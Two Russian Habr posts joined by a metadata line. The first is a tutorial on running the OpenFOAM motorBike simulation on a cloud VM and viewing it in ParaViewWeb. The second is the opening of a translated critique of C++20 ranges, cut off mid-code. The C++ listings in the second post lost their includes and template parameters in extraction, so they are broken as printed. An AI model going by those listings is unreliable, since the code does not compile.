Я обычный разработчик, и не являюсь специалистом в данной научной области. С этим видом задач я столкнулся впервые в рамках недавно прошедшего хакатона [FIT-M 2020](https://fit-m.org), где мне посчастливилось поучаствовать в качестве со-организатора и ментора. Опыт мне показался интересным, в частности из-за возможности прикоснуться к области высокопроизводительных вычислений (англ. High Performance Computing), которые часто запускают на [суперкомпьютерах](https://www.paraview.org/hpc/). Я разобрался как можно довольно быстро наладить запуск вычислений на сервере в облаке и посмотреть на результат прямо через браузер, хоть с планшета или телефона!
Мне показалось, что материалов на русском языке по теме визуализации результатов в web не так много, хотя сама по себе тема довольно полезная и интересная. Надеюсь, это пошаговое руководство поможет кому-то в их вполне практических ежедневных задачах. А может быть, это станет для кого-то первым шагом в новую и интересную область науки.
*Картинка взята из [Barcelona Supercomputing Center](https://www.facebook.com/BSCCNS/)*
Disclaimer
==========
Я ставлю себе задачу показать саму возможность быстрой пуско-наладки вычислений, дать отправную точку, но ни в коем случае не построение полноценного web-приложения. Здесь не будет речи ни о потенциальной архитектуре таких решений, ни готового исходного кода. Решение наколеночное, но зато быстрое.
Краткое введение
================
Представьте себе рейс, вылетающий из аэропорта. Как вы думаете, почему следующий самолёт ожидает некоторое время после того, как предыдущий уже давно в воздухе? Ответ прост: предыдущий взлёт оставил позади себя огромный водоворот воздуха, достаточно сильный, чтобы заставить следующий самолет стоять в очереди.
Следующий хороший вопрос: как узнать, когда эти водовороты воздуха достаточно уменьшатся? или, скорее, насколько слабой должна быть сила водоворота, чтобы следующий самолет взлетел?
Зная ответы на эти вопросы, вы сможете определить правильное время вылета вашего следующего рейса (конечно, если сотрудники службы поддержки аэропорта не побеспокоят вас чем-то еще).
На эти и подобные вопросы может попробовать ответить [вычислительная гидродинамика](https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D1%87%D0%B8%D1%81%D0%BB%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%B3%D0%B8%D0%B4%D1%80%D0%BE%D0%B4%D0%B8%D0%BD%D0%B0%D0%BC%D0%B8%D0%BA%D0%B0) (англ. Computational fluid dynamics — CFD). Точно измерить показатели атмосферы и учесть все процессы, происходящие во время взлёта самолёта довольно сложно. Для поиска ответов обычно применяют моделирование — симуляцию физических процессов с помощью специальных программных инструментов, таких как [OpenFOAM](https://www.openfoam.com) (Open-source Field Operation And Manipulation). Его использование, очевидно, не ограничивается аэрокосмической областью. Применение крайне широкое, поэтому затрагивает и автомобильную и химическую промышленность, здравоохранение, спорт, морские исследования, производство электроэнергии и т.д. В зависимости от решаемой задачи применяются разные специализированные программные комплексы.
*Рис. Применение CFD для расчёта снижения колебаний транспортируемой жидкости.*
Процесс вычисления
==================
Если совсем кратко, то суть моделирования состоит в массивном параллельном вычислении показателей скорости, давления, плотности, температуры через множества дифференциальных уравнений. Для этого применяется, по сути, один и тот же метод, независимо от того, какая проблема рассматривается: метод «Разделяй и властвуй».
*Рис. Пример сетки и ячеек.*
Структурированные линии, которые вы видите на рисунке здания выше, называются сеткой (англ. mesh). Объемы правильной формы, образованные этими пересекающимися линиями, называются ячейками (англ. cells). На этих ячейках и производится поиск решения уравнений для интересующей нас переменной. Чем больше количество ячеек, тем более точные приближения даст моделирование (более плотная область на рисунке выше). Следовательно, мы разделяем проблему на ячейки и решаем уравнения в каждой. Затем, результаты складываются определенным образом, чтобы получить аппроксимированное решение над большей областью.
Обычно, программное обеспечение последовательно выполняет действия по этапам:
1. Подготовительный этап. На данном этапе формируется геометрия модели, формулируются необходимые физические условия, геометрия дискретизируется, задаются начальные и граничные условия дифференциальных уравнений;
2. Расчёт. На данном этапе машина, подчиняясь заданному алгоритму, численно решает основные уравнения с точки зрения базовых физических параметров (скорость, давление, плотность, температура, энтальпия и т. д.), а также записывает результаты решения в память;
3. Постобработка (англ. postprocessing). Выполняется конвертация результатов расчёта в форматы, пригодные для отображения и визуализации.
4. Анализ. Результаты решения отображаются в виде графиков, таблиц, а также контурных и/или векторных схем, привязанных к исходной геометрии.
На этих этапах чаще всего используется не один, а сразу ряд инструментов. Например, геометрию и физические границы объекта во время подготовительного этапа определяют с помощью систем автоматизированного проектирования (САПР, англ. CAD). В результате данные могут быть обработаны таким образом, что станет технически возможным выделить и извлечь объем жидкости.
Однако, мы сфокусируемся непосредственно на этапе расчёта и визуализации результатов.
Создаём облачные ресурсы
========================
Инструмент [OpenFOAM](https://www.openfoam.com) — это одно из наиболее известных open-source приложений, которое отвечает за этап расчёта. С его помощью можно использовать как можно большее количество аппаратных ресурсов компьютера, чтобы сократить время моделирования. Основные ресурсы в данном случае: это ядра процессора (англ. CPU) и оперативная память (англ. RAM). Графические процессоры (англ. GPU) особенно хорошо подходят для распараллеливания задач, так как содержат гораздо большее количество процессоров.
Установленный пакет программы идёт с несколькими заранее подготовленными примерами моделей для тренировки. Один из таких проектов-примеров мы и будем использовать. Он называется motorBike tutorial: это 3D-модель мотоциклиста в пространстве. Этот проект рассчитан на запуск расчёта в параллельном режиме на рабочей машине с шестью ядрами процессора (я покажу ниже, как это можно поменять).
Для начала создадим обычный виртуальный сервер с шестью vCPU. Для максимально конкретных примеров я буду использовать Яндекс.Облако, хотя абсолютно идентичным образом можно воспользоваться и облаком Amazon, Microsoft, IBM, и т.д.
1. Нам нужно зарегистрироваться в облачном провайдере, ввести платёжную информацию и перейти в консоль управления.
2. Облачные провайдеры давно запрещают доступ к виртуальным серверам по обычному паролю и логину, поэтому сперва нужно сгенерировать SSH ключи для входа на будущий сервер. В терминале Linux или powershell/cmd Windows 10 это делается просто:
```
$ ssh-keygen -t rsa -b 2048
```
По запросу введите пароль для приватного ключа. Публичная часть ключа будет сохранена в файле <имя>.pub, а приватная часть сохранена рядом в файле без расширения.
3. Далее, уж простите, немного скучной части: идём прямо по [документации от Яндекса](https://cloud.yandex.ru/docs/compute/operations/vm-create/create-linux-vm) и создаём новую виртуальную машину:
* На странице консоли <https://console.cloud.yandex.ru> выберите "Перейти в текущий каталог"
* В списке сервисов выберите Compute Cloud
* Нажмите кнопку "Создать ВМ"
4. Выбор параметров будет зависеть от требований модели (то есть, задания) и стоимости. В нашем максимально конкретном случае выбираем следующие:
* Выбираем 6 ядер vCPU (выше я упомянул, что это требование нашей tutorial-модели),
* 12 ГБ оперативной памяти
* Как минимум 10 ГБ SSD диск.
* В поле SSH ключ нужно скопировать текст из файла публичного ключа, сгенерированного выше.
* Для экономии, можно выбрать "Прерываемый" вариант машин, которые автоматически будут тушиться раз в сутки. Это удобно, если вычислять круглыми сутками ничего не нужно.
* Также задайте имя машины, у меня это будет "team01". Нажмите кнопку "Создать ВМ"
5. Наконец, дождитесь создания машины и убедитесь в том, что она перешла в статус "Running".
*Рис. Работающая виртуальная машина.*
Установка OpenFOAM
==================
1. Для подключения будем использовать приватный SSH ключ, поэтому в терминале (Linux) или powershell/cmd (Windows) перейдите в папку с ключом и подключитесь к серверу следующей командой:
```
$ ssh -i <имя_ключа> <имя_машины>@<публичный_ip_адрес>
```
В консоли нужно будет ввести пароль к приватному ключу, который вы указали при генерации.
2. После подключения, находясь уже в консоли сервера, сделаем установку OpenFOAM:
```
$ sudo sh -c "wget -O - https://dl.openfoam.org/gpg.key | apt-key add -"
$ sudo add-apt-repository http://dl.openfoam.org/ubuntu
$ sudo apt-get update
$ sudo apt-get -y install openfoam8
```
В случае проблем, обращайтесь к [официальному руководству](https://openfoam.org/download/8-ubuntu/).
3. После установки нужно прописать путь к установленному пакету в среде. Для этого можно воспользоваться редактором vi:
```
$ vi ~/.bashrc
```
* Перейдите в самый конец файла и включите режим редактирования, нажав i
* Вставьте путь к пакету, строку: source /opt/openfoam8/etc/bashrc
* нажмите двоеточие
* введите x! для сохранения и выхода
4. Отключаемся от SSH командой
```
$ exit
```
5. Подключаемся вновь и проверяем доступность установленного пакета из консоли Bash:
```
$ simpleFoam -help
```
Если команда успешно распознана, то вы увидите описание и помощь по использованию этой команды пакета OpenFOAM.
Расчёт
======
Итак, после установки, примеры проектов лежат в папке /opt/openfoam8/tutorials/incompressible/simpleFoam/
1. Создадим рабочий каталог в папке пользователя:
```
$ cd $HOME
$ sudo mkdir -p $FOAM_RUN
```
2. Скопируем в него файлы проекта для начала работы с ним
```
$ cd $FOAM_RUN
$ sudo cp -r $FOAM_TUTORIALS/incompressible/simpleFoam/motorBike/ .
$ sudo chmod -R a+rwx motorBike
$ cd motorBike
```
3. Так как этот проект уже подготовлен и миллион раз проверен, то запуск параллельных вычислений можно выполнить одной командой:
```
$ ./Allrun
```
Этот скрипт выполняет последовательно все этапы вычислений, распараллеливания каждый из них. В консоли вы увидите следующий output:
```
team01@team01:~/OpenFOAM/team01-8/run/motorBike$ ./Allrun
Running surfaceFeatures on /home/team01/OpenFOAM/team01-8/run/motorBike
Running blockMesh on /home/team01/OpenFOAM/team01-8/run/motorBike
Running decomposePar on /home/team01/OpenFOAM/team01-8/run/motorBike
Running snappyHexMesh in parallel on /home/team01/OpenFOAM/team01-8/run/motorBike using 6 processes
Running patchSummary in parallel on /home/team01/OpenFOAM/team01-8/run/motorBike using 6 processes
Running potentialFoam in parallel on /home/team01/OpenFOAM/team01-8/run/motorBike using 6 processes
Running simpleFoam in parallel on /home/team01/OpenFOAM/team01-8/run/motorBike using 6 processes
Running reconstructParMesh on /home/team01/OpenFOAM/team01-8/run/motorBike
Running reconstructPar on /home/team01/OpenFOAM/team01-8/run/motorBike
```
Загляните в файл скрипта Allrun. Всё что он делает, это последовательно вызывает команды OpenFOAM, некоторые из которых параллелит. Эти команды можно выполнить и самому и проследить за прогрессом вычисления. А также можно запустить последовательное вычисление, вместо параллельного. Тогда вы увидите, насколько дольше происходит последовательный процесс (ну и папка результатов будет выглядеть чуть иначе):
```
$ blockMesh <-- генерируем сетку объектов и среды
$ decomposePar -copyZero <-- разделяем вычисления на части по количеству процессоров
$ snappyHexMesh -overwrite <-- генерируем сетку мотоциклиста с большей сложностью
$ potentialFoam <-- запускаем вычисление уравнений потенциальных параметров потоков
$ reconstruct... <-- собираем результаты воедино из частей
```
Выше я говорил о том, что количество процессоров для расчёта строго задано моделью. И речь именно о физических ядрах, а не виртуальных. Конфигурацию конечно можно поменять, но для этого необходимо хорошо и глубоко понимать структуру каталога задачи, форматы описания моделей и т.д. Например, для запуска описанных выше шагов на обычной машине с каким-нибудь Intel Core i7 (например, в Windows 10 WSL) нужно отредактировать файл задания, отвечающий за разделение задачи по количеству процессоров: **/system/decomposeParDict**
В этом файле надо поменять значения numberOfSubdomains и simpleCoeffs:
```
numberOfSubdomains 6; <-- Количество физических ядер процессора вашего ПК
method hierarchical;
// method ptscotch;
simpleCoeffs
{
n (4 1 1); <-- суммарно должно быть равно numberOfSubdomains
delta 0.001;
}
...
```
Визуализация результатов
========================
Пакет инструментов [ParaView](https://www.paraview.org) – это open-source решение для визуализации двух- и трехмерных наборов данных. Приложения и библиотеки ParaView могут быть гибко настроены и использованы в архитектуре вашего вычислительного решения, так как подразумевают разные варианты деплоя и использования. В частности, ParaView поддерживает как однопроцессорные, так и многопроцессорные платформы с распределённой памятью или кластеры вычислительных машин. Как и OpenFOAM, он позволяет параллелить обработку изображения для больших наборов данных. Известно, что ParaView успешно использовался для обработки результатов расчёта миллиардов и триллионов ячеек, будучи запущенным в параллельном режиме на машинах с сотней тысяч процессорных ядер.
Архитектура ParaView позволяет использовать его как для рендера результатов прямо на рабочей машине с графическим интерфейсом (вариант desktop), так и в браузере (вариант web).
*Рис. Структура компонентов ParaView.*
В основе ParaView лежит библиотека Visualization Toolkit ([VTK](https://github.com/Kitware/VTK)), основанная на открытых библиотеках вроде OpenGL и MPI, которая предоставляет базовые алгоритмы визуализации и рендеринга. ParaView Server абстрагирует клиентские приложения (будь то desktop или web) от того как параллелится визуализация. Над ним есть ряд обёрток, написанных на Python или QT. Наконец, клиентскими модулями можно считать такие компоненты как:
1. Приложение [ParaView с GUI](https://www.paraview.org/desktop/), написанным на QT, с которым чаще всего многие и работают. Так же, можно написать своё собственное Custom App, используя API нижележащих слоёв.
2. Набор скриптов pvpython, позволяющих автоматизировать постобработку используя Python.
3. Библиотека [Paraview Catalyst](https://www.paraview.org/in-situ/), которая позволяет отображать частично посчитанные данные прямо в процессе вычислений. Это крайне полезная возможность, когда речь идёт о вычислении огромных массивов данных и нужно быстрее получить доступ к результатам, или выделить результаты по какой-то конкретной интересующей переменной (то, есть показателю давления, скорости, температуры, и т.д.).
4. [ParaViewWeb](https://kitware.github.io/paraviewweb/docs) – web-framework, который позволяет использовать бекенд ParaView и возможности [VTK](https://kitware.github.io/paraviewweb/docs/configure_and_build_vtkweb.html) для построения Web-приложений на JavaScript. Сам он основан на [Three.js](https://threejs.org/), но разработчики постепенно портируют его на [VTK.js](https://github.com/Kitware/vtk-js) – порт библиотеки VTK на JavaScript.
Итого, у нас есть как минимум 3 варианта *быстро* посмотреть на результат расчётов OpenFOAM:
1. Скопировать результаты себе на машину и запустить desktop вариант ParaView. Сразу скажу, что это проблематичный вариант в случае достаточно больших моделей, которые могут весить и гигабайты, и терабайты.
2. Запустить вариант desktop на сервере, предварительно настроив функцию X11-forwarding и транслирование GUI сервера на клиентскую машину. Это решение недостаточно производительное и неполноценное, так как всё сильно "тормозит" и часто "лагает".
3. Настроить веб-сервер ParaView и дать возможность работать с результатами прямо в браузере. Уже есть [ряд web-приложений](https://kitware.github.io/paraviewweb/docs/index.html) с доступным открытым кодом, которые созданы специально под разные варианты использования: [Visualizer](https://kitware.github.io/visualizer/), [LightViz](https://kitware.github.io/light-viz/), [ArticViewer](https://kitware.github.io/arctic-viewer/), [SimPut](https://github.com/kitware/simput) и [HPCCloud](https://github.com/kitware/hpccloud).
По третьему пути мы и пойдём. Чтобы собрать полноценно работающее решение, нужно хорошо ознакомиться с вариантами развёртывания. Начать ознакомление стоит [с архитектуры](https://kitware.github.io/paraviewweb/docs/architecture.html), которая подразумевает использование [web-сервера](https://kitware.github.io/paraviewweb/docs/apache_front_end.html), а также [API для параллельного запуска](https://kitware.github.io/paraviewweb/docs/launcher_api.html) визуализации (в случае запуска в режиме [multi-user](https://kitware.github.io/paraviewweb/docs/multi_user_setup.html)). Опять таки, уже есть готовые [скрипты на Python](https://kitware.github.io/paraviewweb/docs/python_launcher.html) для запуска сессий визуализации. Схемы развёртывания [описаны тут](https://kitware.github.io/paraviewweb/docs/launching_examples.html).
Настройка ParaViewWeb
=====================
Однако, я обещал, что путь будет быстрый. Компания Kitware подготовила [демо версию развёрнутого web-окружения](https://github.com/Kitware/paraviewweb-demo) в виде docker-контейнера. Это отличное начало, чтобы посмотреть, как всё работает. В их документации так же можно найти подробное описание того, как собрать [свой собственный контейнер](https://kitware.github.io/paraviewweb/docs/container_overview.html). Но мы просто подыщем один из готовых контейнеров с подходящей нам версией ParaView.
В зависимости от версии ParaView, интерпретатора Python и варианта рендеринга можно выбрать необходимый контейнер на [dockerhub](https://hub.docker.com/r/kitware/paraview). В нашем случае выбор сделаем так:
* Нам нужен ParaViewWeb, поэтому Type = pvw
* У нас нет GPU на виртуальном сервере, а поэтому Rendering = osmesa
* Major версия Python на сервере у нас 2.x.x, поэтому Python = py2
Итого, нам нужен контейнер [pvw-v5.7.1-osmesa-py2](https://hub.docker.com/layers/kitware/paraview/pvw-v5.7.1-osmesa-py2/images/sha256-a9a911ef8c1623df90d64f9a0b95f616c15c55bfde15dd5bfdd3bff9dfca0891?context=explore).
1. Установим Docker и пропишем параметры в переменных среды:
```
$ sudo apt install docker.io
$ export DEMO_HOST=84.201.179.235 <-- публичный IP виртуального сервера
$ export DEMO_PORT=9000 <-- порт на котором будет "торчать" контейнер
$ export IMAGE_TO_RUN=kitware/paraview:pvw-v5.7.1-osmesa-py2 <-- полное имя контейнера
```
2. Создадим папку demo и скачаем в неё исходники web-приложений:
```
$ mkdir -p demo
$ cd demo
$ curl -OL https://github.com/Kitware/paraviewweb-demo/archive/master.zip
$ unzip master.zip
```
3. Скачаем контейнер с web-сервером и скриптами запуска визуализации:
```
$ sudo docker pull kitware/paraview:pvw-v5.7.1-osmesa-py2
```
4. Запустим контейнер указав при этом два пути: к демо приложению и к папке с данными расчёта OpenFOAM:
```
$ sudo docker run -v /home/team01/OpenFOAM/team01-8/demo/paraviewweb-demo-master/pvw:/pvw -v /home/team01/OpenFOAM/team01-8/run/motorBike:/data -p 0.0.0.0:9000:80 -e SERVER_NAME="${DEMO_HOST}:${DEMO_PORT}" -e PROTOCOL="ws" -ti ${IMAGE_TO_RUN}
```
5. Открываем в браузере вкладку:
<http://84.201.179.235:9000>
*Рис. Развёрнутые web-приложения ParaViewWeb.*
Открываем результаты в браузере
===============================
Выбираем левое верхнее приложение Visualizer и после загрузки выбираем в левой панели "список файлов". Файлов много и здесь довольно трудно сразу сообразить, что именно запустить на отображение и на самом деле ответ такой: пока нечего запускать.
По умолчанию OpenFOAM формирует свои результаты расчёта в "сыром виде". Чтобы ParaView смог правильно загрузить данные, нужно воспользоваться скриптом, который загрузит специальный плагин ParaView, умеющий читать данные Open FOAM. В варианте desktop это делается одной командой в папке результатов OpenFOAM:
```
$ paraFoam
```
После запуска этой команды вы увидите одно небольшое изменение: в папке с файлами появится пустой файл с расширением \*.foam. Именно он является своеобразным якорем, от которого отталкивается плагин ParaView при загрузке.
Но на сервере нет возможности запустить приложение с GUI интерфейсом, а поэтому и команда paraFoam "упадёт" с ошибкой невозможности подгрузить библиотеки QT.
Поэтому, мы просто эмулируем создание якорного файла:
```
$ touch motorBike.foam
```
Да, мы создали обыкновенный пустой файл в папке с результатами расчёта OpenFOAM. И этого достаточно для загрузки всей модели и результатов расчёта в ParaViewWeb.
Просто перезагрузите страницу в браузере и сделайте двойной клик по только что созданному файлу.
*Рис. Только что загруженная расчётная модель в ParaViewWeb*
Всё что остаётся дальше: это разобраться с фильтрами полигонов и отображаемых данных.
После расчёта сразу видны области наибольшего соприкосновения потока воздуха с частями мотоцикла и мотоциклиста. Если поменять задание, то можно получить и другие данные. Я намеренно не описывал структуру каталога модели, а так же папки и файлы результатов. Я думаю, что эта информация уже чуть более специфична для конкретной задачи. Моей целью было показать возможность запуска вычислений в облаке и отображения результатов в браузере. И этого мы достигли.
Итог
====
Думаю, что выполненная настройка даёт любому опытному разработчику необходимый плацдарм для начала работы над более полным web-приложением. Остаётся лишь доработать возможность загрузки заданий через Web каким-нибудь POST HTTP запросом и автоматизировать запуск команд OpenFOAM на бекенде по примеру, который мы опробовали. Опять-таки, нужно ознакомиться и опробовать более продвинутые варианты развёртывания упомянутых инженерных программ.
Облачные провайдеры постоянно снижают стоимость использования своих ресурсов и наращивают инструментарий. Например, совсем недавно Amazon расширил и улучшил возможности использования лямбд (AWS Lambda):
* Amazon анонсировал возможность запуска расчётов [на лямбдах с использованием до 10 ГБ оперативной памяти и до 6 vCPU](https://aws.amazon.com/ru/blogs/aws/new-for-aws-lambda-functions-with-up-to-10-gb-of-memory-and-6-vcpus). Напомню, это ровно те ресурсы, которые нам понадобились для нашей модели.
* Amazon анонсировал возможность [запуска контейнеров на лямбдах](https://aws.amazon.com/ru/blogs/aws/new-for-aws-lambda-container-image-support)
* Amazon анонсировал [оплату использования лямбд с биллингом до 1 миллисекунды](https://aws.amazon.com/blogs/aws/new-for-aws-lambda-1ms-billing-granularity-adds-cost-savings)
Всё это открывает интересные возможности для некоторых типов задач и вариантов использования.
Это конец,… но только начало
============================
50 лет назад мечтатели решили, что у каждого в доме должен быть компьютер. Теперь задачи стали сложнее, данных больше, а инженерное программное обеспечение доступнее. Пришло время, чтобы у каждого в доме появился свой суперкомпьютер. Конечно, начинаем мы с того, что есть под рукой в легкой доступности — это облачные ресурсы, но ведь это только начало.
Конечно, OpenFOAM и ParaView не являются единственными доступными инженерными программными пакетами для моделирования. Их уже очень много. Но из-за сложности настройки, как правило, специалисты и учёные, занимающиеся такими расчётами, просто изучают один инструмент и пытаются применить его во всех задачах. Если сделать инструменты доступнее, то я полагаю, мы увидим гораздо больше применения моделирования в нашей жизни, а это бывает очень полезно. Ведь не зря есть пословица: семь раз отмерь, один раз отрежь!
|
https://habr.com/ru/post/534422/
| null |
ru
| null |
# «Современный» C++: сеанс плача с причитаниями
Здесь будет длиннющая стена текста, с типа случайными мыслями. Основные идеи:
1. В C++ очень важно время компиляции,
2. Производительность сборки без оптимизаций тоже важна,
3. Когнитивная нагрузка ещё важней. Вот по этому пункту особо распространяться не буду, но если язык программирования заставляет меня чувствовать себя тупым, вряд ли я его буду использовать или тем более — любить. C++ делает это со мной *постоянно*.
Блогпост «[Standard Ranges](http://ericniebler.com/2018/12/05/standard-ranges/)» Эрика Ниблера, посвященный ренжам в C++20, недавно облетел всю твиттерную вселенную, сопровождаясь кучей не очень лестных комментариев (это ещё мягко сказано!) о состоянии современного C++.
Даже я внёс свою лепту ([ссылка](https://twitter.com/aras_p/status/1076947443823136768)):
> Этот пример пифагоровых троек на ренжах C++20, по моему, выглядит чудовищно. И да, я понимаю, что ренжи могут быть полезны, проекции могут быть полезны и так далее. Тем не менее, пример жуткий. Зачем кому-то может понадобиться такое?
Давайте подробно разберём всё это под катом.
---
Всё это немножко вышло из-под контроля (даже спустя неделю, в это дерево тредов продолжали прилетать комментарии!).
Теперь, надо извиниться перед Эриком за то, что я начал с его статьи; мой плач Ярославны будет, в основном, об «общем состоянии C++». «Горстка озлобленных чуваков из геймдева» год назад наезжала на [объяснение сути Boost.Geometry](https://www.boost.org/doc/libs/1_62_0/libs/geometry/doc/html/geometry/design.html) примерно тем же способом, и то же происходило по поводу десятков остальных аспектов экосистемы C++.
Но знаете, Твиттер — это не самое лучшее место для деликатных разговоров, и т.д и т.п. Придётся развернуть мысль прямо здесь и сейчас!
Пифагоровы тройки в стиле ренжей C++20
======================================
Держите полный текст примера из [поста](http://ericniebler.com/2018/12/05/standard-ranges/) Эрика:
```
// Пример программы на стандартном C++20.
// Она печатает первые N пифагоровых троек.
#include
#include
#include // Новый заголовочный файл!
using namespace std;
// maybe\_view создаёт вьюху поверх 0 или 1 объекта
template
struct maybe\_view : view\_interface> {
maybe\_view() = default;
maybe\_view(T t) : data\_(std::move(t)) {
}
T const \*begin() const noexcept {
return data\_ ? &\*data\_ : nullptr;
}
T const \*end() const noexcept {
return data\_ ? &\*data\_ + 1 : nullptr;
}
private:
optional data\_{};
};
// "for\_each" создает новую вьюху, применяя
// трансформацию к каждому элементу из изначального ренжа,
// и в конце полученный ренж ренжей делает плоским.
// (Тут используется синтаксис constrained lambdas из C++20.)
inline constexpr auto for\_each =
[],
IndirectUnaryInvocable *Fun>(R&& r, Fun fun)
requires Range> {
return std::forward(r)
| view::transform(std::move(fun))
| view::join;
};
// "yield\_if" берёт bool и значение,
// возвращая вьюху на 0 или 1 элемент.
inline constexpr auto yield\_if =
[](bool b, T x) {
return b ? maybe\_view{std::move(x)}
: maybe\_view{};
};
int main() {
// Определяем бесконечный ренж пифагоровых троек:
using view::iota;
auto triples =
for\_each(iota(1), [](int z) {
return for\_each(iota(1, z+1), [=](int x) {
return for\_each(iota(x, z+1), [=](int y) {
return yield\_if(x\*x + y\*y == z\*z,
make\_tuple(x, y, z));
});
});
});
// Отображаем первые 10 троек
for(auto triple : triples | view::take(10)) {
cout << '('
<< get<0>(triple) << ','
<< get<1>(triple) << ','
<< get<2>(triple) << ')' << '\n';
}
}*
```
Пост Эрика появился из его же [более раннего поста](http://ericniebler.com/2014/04/27/range-comprehensions/), написанного пару лет назад, который в свою очередь являлся ответом на статью Бартоша Милевского «[Getting Lazy with C++](https://bartoszmilewski.com/2014/04/21/getting-lazy-with-c/)», в котором простая сишная функция для распечатки первых N пифагоровых троек выглядела так:
```
void printNTriples(int n)
{
int i = 0;
for (int z = 1; ; ++z)
for (int x = 1; x <= z; ++x)
for (int y = x; y <= z; ++y)
if (x*x + y*y == z*z) {
printf("%d, %d, %d\n", x, y, z);
if (++i == n)
return;
}
}
```
Там же были перечислены проблемы с этим кодом:
> Всё отлично, пока вы не хотите изменять или переиспользовать этот код. Но что если, например, вместо распечатывания на экране вы захотите рисовать тройки как треугольники? Или вдруг вы захотели остановиться сразу же, как одно из чисел достигло сотни?
После чего ленивые вычисления со сборкой списков (list comprehensions) представляются как *главный способ* решать этим проблемы. Конечно, это действительно *какой-то способ* решить данные проблемы, ведь в языке C++ для этой задачи недостаточно встроенной функциональности, которая есть в каком-нибудь Haskell и других языках. C++20 получит *больше* для этого встроенных ништяков, на что и намекает пост Эрика. Но до этого мы ещё доберёмся.
Пифагоровы тройки в стиле простого C++
======================================
Так, давай вернёмся к стилю решения задачи, основанному на простом C/C++ («простом» — в смысле, «подходит, пока не нужно модифицировать или переиспользовать», по версии Бартоша). Держите законченную программу, которая распечатывает первую сотню троек:
```
// simplest.cpp
#include
#include
int main()
{
clock\_t t0 = clock();
int i = 0;
for (int z = 1; ; ++z)
for (int x = 1; x <= z; ++x)
for (int y = x; y <= z; ++y)
if (x\*x + y\*y == z\*z) {
printf("(%i,%i,%i)\n", x, y, z);
if (++i == 100)
goto done;
}
done:
clock\_t t1 = clock();
printf("%ims\n", (int)(t1-t0)\*1000/CLOCKS\_PER\_SEC);
return 0;
}
```
Вот как её можно собрать: `clang simplest.cpp -o outsimplest`. Сборка занимает 0.064 секунды, на выходе имеем экзешник размером 8480 байтов, который отрабатывает 2 миллисекунды и потом печатает числа (всё это на моём железе: 2018 MacBookPro; Core i9 2.9GHz; компилятор — Xcode 10 clang).
```
(3,4,5)
(6,8,10)
(5,12,13)
(9,12,15)
(8,15,17)
(12,16,20)
(7,24,25)
(15,20,25)
(10,24,26)
...
(65,156,169)
(119,120,169)
(26,168,170)
```
Стоять! Это был дефолтная, неопитмизированная («Debug») сборка; давайте теперь соберём с оптимизациями («Release»): `clang simplest.cpp -o outsimplest -O2`. Это займёт 0.071 секнду на компиляцию и на выходе получится экзешник того же размера (8480 байт), который работает за 0 миллисекунд (то есть, ниже чувствительности таймера `clock()`).
Как правильно заметил Бартош, алгоритм здесь нельзя переиспользовать, ведь он смешан с манипуляциями результатом вычислений. Вопрос «действительно ли это является проблемой» выходит за рамки этой статьи (*лично я считаю, что «переиспользуемость» и задача «избежать дублирования любой ценой» слишком переоценены*). Давайте предположим, что это проблема, и нам действительно нужно что-то, что вернёт первые N троек, но никаких манипуляций над ними производить не станет.
Что бы сделал я — простейшую и из простых вещей, создать нечто пригодное для вызова, что будет возвращать следующую тройку. Это может выглядеть так:
```
// simple-reusable.cpp
#include
#include
struct pytriples
{
pytriples() : x(1), y(1), z(1) {}
void next()
{
do
{
if (y <= z)
++y;
else
{
if (x <= z)
++x;
else
{
x = 1;
++z;
}
y = x;
}
} while (x\*x + y\*y != z\*z);
}
int x, y, z;
};
int main()
{
clock\_t t0 = clock();
pytriples py;
for (int c = 0; c < 100; ++c)
{
py.next();
printf("(%i,%i,%i)\n", py.x, py.y, py.z);
}
clock\_t t1 = clock();
printf("%ims\n", (int)(t1-t0)\*1000/CLOCKS\_PER\_SEC);
return 0;
}
```
Оно собирается и работает примерно за то же самое время. Отладочный экзешник вырастает на 168 байт, релизный остаётся того же размера.
Я сделал структуру `pytriples`, для которой каждый следующий вызов `next()` переходит к следующей валидной тройке; вызывающий код может делать с этим результатом всё, что душе угодно. Поэтому я просто зову его сто раз, и каждый раз распечатываю результат на экран.
Несмотря на то, что реализация является функционально эквивалентной тому, что делал цикл из трёх вложенных for-ов в изначальном примере, в реальности `он стал гораздо менее очевидным`, по крайней мере, для меня. Совершенно ясно, *как* он делает то, что он делает (несколько ветвлений и простые операции над целыми числами), но далеко не сразу понятно *что именно* он делает на высоком уровне.
Если бы в C++ было чего-нибудь вроде концепции [корутин](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0), стало бы возможно реализовать генератор троек, такой же лаконичный, как вложенные циклы в изначальном примере, но при этом не имеющий ни одну из перечисленных «проблем» (Джейсон Мейзель именно об этом говорит в статье «[Ranges, Code Quality, and the Future of C++](https://medium.com/@jasonmeisel/ranges-code-quality-and-the-future-of-c-99adc6199608)»); это могло быть нечто вроде (это предварительный синтаксис, потому что в стандарте C++ корутин нет):
```
generator> pytriples()
{
for (int z = 1; ; ++z)
for (int x = 1; x <= z; ++x)
for (int y = x; y <= z; ++y)
if (x\*x + y\*y == z\*z)
co\_yield std::make\_tuple(x, y, z);
}
```
Вернёмся к ренжам в C++
=======================
Может ли стиль записи в виде ренжей C++20 более ясно справиться с этой задачей? Давайте взглянем на пост Эрика, на основную часть кода:
```
auto triples =
for_each(iota(1), [](int z) {
return for_each(iota(1, z+1), [=](int x) {
return for_each(iota(x, z+1), [=](int y) {
return yield_if(x*x + y*y == z*z,
make_tuple(x, y, z));
});
});
});
```
Каждый решает за себя. По мне так, подход с корутинами, описанный выше, куда как более читабельный. Тот способ, которым в C++ создаются лямбды, и то, как в стандарте C++ придумали записывать вещи особо умным способом («что такое *йота*? это греческая буква, глядите какой я умный!») — обе этих вещи выглядят громоздко и нескладно. Множество return-ов кажется необычным, если читатель привык к императивному стилю программирования, но возможно, к этому можно и привыкнуть.
*Быть может*, вы осилите свести глаза особым образом и представить, что это приемлемый и приятный синтаксис.
Тем не менее, я отказываюсь верить, что мы, простые смертные без докторской степени в C++, сможем написать утилиты, необходимые для работы вот такого кода:
```
template
struct maybe\_view : view\_interface> {
maybe\_view() = default;
maybe\_view(T t) : data\_(std::move(t)) {
}
T const \*begin() const noexcept {
return data\_ ? &\*data\_ : nullptr;
}
T const \*end() const noexcept {
return data\_ ? &\*data\_ + 1 : nullptr;
}
private:
optional data\_{};
};
inline constexpr auto for\_each =
[],
IndirectUnaryInvocable *Fun>(R&& r, Fun fun)
requires Range> {
